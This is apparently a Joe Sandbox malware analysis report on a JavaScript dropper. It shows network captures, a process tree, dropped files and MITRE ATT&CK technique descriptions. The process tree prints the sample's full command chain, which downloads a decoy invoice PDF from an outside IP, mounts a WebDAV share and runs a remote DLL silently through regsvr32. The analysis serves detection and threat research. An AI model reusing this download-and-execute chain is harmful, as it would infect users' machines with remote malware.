Jan 15, 2025 13:08:03.961312056 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 15, 2025 13:08:03.961324930 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 15, 2025 13:08:03.961386919 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 15, 2025 13:08:03.961397886 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 15, 2025 13:08:03.961410999 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 15, 2025 13:08:03.961425066 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 15, 2025 13:08:03.961440086 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 15, 2025 13:08:03.966322899 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6380	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 13:08:05.175410986 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 15, 2025 13:08:05.959404945 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 12:08:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	07:07:59
Start date:	15/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js"
Imagebase:	0x7ff64f8a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:07:59
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll
Imagebase:	0x7ff681580000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:07:59
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:07:59
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:08:03
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:08:03
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff681580000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:08:03
Start date:	15/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff752460000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:08:04
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:08:04
Start date:	15/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:08:04
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1656,i,4834674528710319453,17200354492000707701,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 21033090848109083.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e6d5cce7-6f62-4b23-9431-ef364f9940d1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3376

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
21033090848109083.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre